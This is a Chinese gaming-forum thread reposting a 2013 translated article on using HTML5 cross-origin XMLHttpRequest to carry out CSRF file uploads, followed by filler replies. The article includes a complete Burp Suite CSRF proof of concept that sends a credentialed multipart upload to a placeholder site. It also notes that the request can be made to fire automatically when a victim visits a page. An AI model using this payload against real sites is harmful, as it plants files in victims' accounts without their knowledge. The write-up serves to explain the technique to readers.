天泽在线_网页版CS_CS对战平台_Cs1.6_amxx_sma插件_CS论坛

标题: 利用csrf漏洞上传文件 [打印本页]

作者: admin    时间: 2013-11-28 10:51
标题: 利用csrf漏洞上传文件
大家都知道通常用csrf来上传一个文件不是很简单的.问题在于我们创建的假的表单提交的数据跟浏览器文件上传提交的数据有一点不同.那就是上传的请求会有一个filename的参数:
-----------------------------256672629917035
Content-Disposition: form-data; name="file"; filename="test2.txt"
Content-Type: text/plain         
test3
-----------------------------256672629917035
如果我们创建一个表单,提交如上的请求是没法成功添加filename参数的,这是因为filename参数是文件上传的input自动生成。这就阻止了邪恶的黑客通过csrf上传文件。不过自从有了html5,一切都不一样了。
html5有一个新特性叫跨域资源共享(CORS
http://www.w3.org/TR/cors/).在过去,由于同源策略的影响,黑客没办法通过javascript去访问别的域.考虑到XSS
这么泛滥,同源策略真的是让我们的生活更安全了.不过,利用html5的跨域资源共享,可以让javascript来发送有filename属性的合法的
跨域请求。这样只要用户访问了恶意页面,不需要其他的交互,就可以通过csrf来上传文件了。
下面是一个Burp Suite生成的poc:
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://example.com/new_file.html", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------256672629917035");
        xhr.withCredentials = "true";
        var body = "-----------------------------256672629917035\r\n" +
          "Content-Disposition: form-data; name=\"message\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------256672629917035\r\n" +
          "Content-Disposition: form-data; name=\"backPage\"\r\n" +
          "\r\n" +
          "test\r\n" +
          "-----------------------------256672629917035\r\n" +
          "Content-Disposition: form-data; name=\"dataType\"\r\n" +
          "\r\n" +
          "test  \r\n" +
          "-----------------------------256672629917035\r\n" +
          "Content-Disposition: form-data; name=\"file\"; filename=\"test2.txt\"\r\n" +
          "Content-Type: text/plain\r\n" +
          "\r\n" +
          "test3\r\n" +
          "-----------------------------256672629917035--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
当然,poc里的提交按钮不是必须的,可以通过javascript自动提交。从某种程度上来说浏览器的最重要的同源策略被突破了。这真是令人忧伤的一件事情。
扩展阅读:
http://blog.kotowicz.net/2011/05/cross-domain-arbitrary-file-upload.html
http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html
https://developer.mozilla.org/en-US/docs/HTTP/Access_control_CORS?redirectlocale=en-US&redirectslug=HTTP_access_control
http://www.w3.org/TR/cors/

via:  gerionsecurity.com  翻译整理:litdg@FreeBuf


作者: 我我我是是是    时间: 2013-11-28 15:20
楼上的稍等啦  
作者: 尼玛艹    时间: 2013-11-30 06:16
顶一个先  
作者: 德家益    时间: 2013-11-30 17:51
支持~~  
作者: 沐方温泉设计    时间: 2013-12-3 10:58
今天无聊来逛逛  
作者: 莫名其妙    时间: 2013-12-4 04:54
(*^__^*) 嘻嘻……  
作者: 的撒旦    时间: 2013-12-5 03:50
爷爷都是从孙子走过来的。  
作者: 记忆承载泪    时间: 2013-12-5 09:06
谢谢分享了!  
作者: 詹林哲    时间: 2013-12-6 16:05
顶你一下,好贴要顶!  
作者: 贱人一个    时间: 2013-12-11 07:18
抢座位来了  
作者: 老鬼    时间: 2013-12-12 18:42
原来这样也可以  
作者: 黑枪    时间: 2015-7-11 18:21
提示: 作者被禁止或删除 内容自动屏蔽
作者: 丁永愕    时间: 2015-8-16 05:05
好帖子,要顶!
作者: 呵呵哒的    时间: 2015-9-17 09:30
你你你你 呵呵~~~~别这样哦.....  
作者: 亚林王    时间: 2015-10-20 07:01
加油站加油  
作者: 我不是小马哥丶    时间: 2015-11-27 04:12
我不是随便的人。我随便起来不是人  
作者: 班会场    时间: 2016-1-9 19:00
提示: 作者被禁止或删除 内容自动屏蔽
作者: 柳崇锋鲾    时间: 2016-2-20 00:48
你喜欢贴子还是发贴子的人  
作者: 冯立神    时间: 2016-4-13 12:47
好人一个  
作者: 吴蔚蔚    时间: 2016-6-10 06:03
不错不错.,..我喜欢  
作者: 文龙阿    时间: 2016-6-20 06:12
我帮你 喝喝  
作者: =//    时间: 2016-7-31 12:09
怎么就没人拜我为偶像那?? ~  
作者: 吃顿饭拍    时间: 2016-10-2 13:22
不错!  
作者: q1103265317    时间: 2016-11-25 06:32
我有家的感觉~~你知道吗  
作者: 陶嫒嫒    时间: 2017-1-24 11:18
我率天兵天将 将你打回原形~~~  




欢迎光临 天泽在线_网页版CS_CS对战平台_Cs1.6_amxx_sma插件_CS论坛 (https://bbs.tianzept.com/) Powered by Discuz! X3.4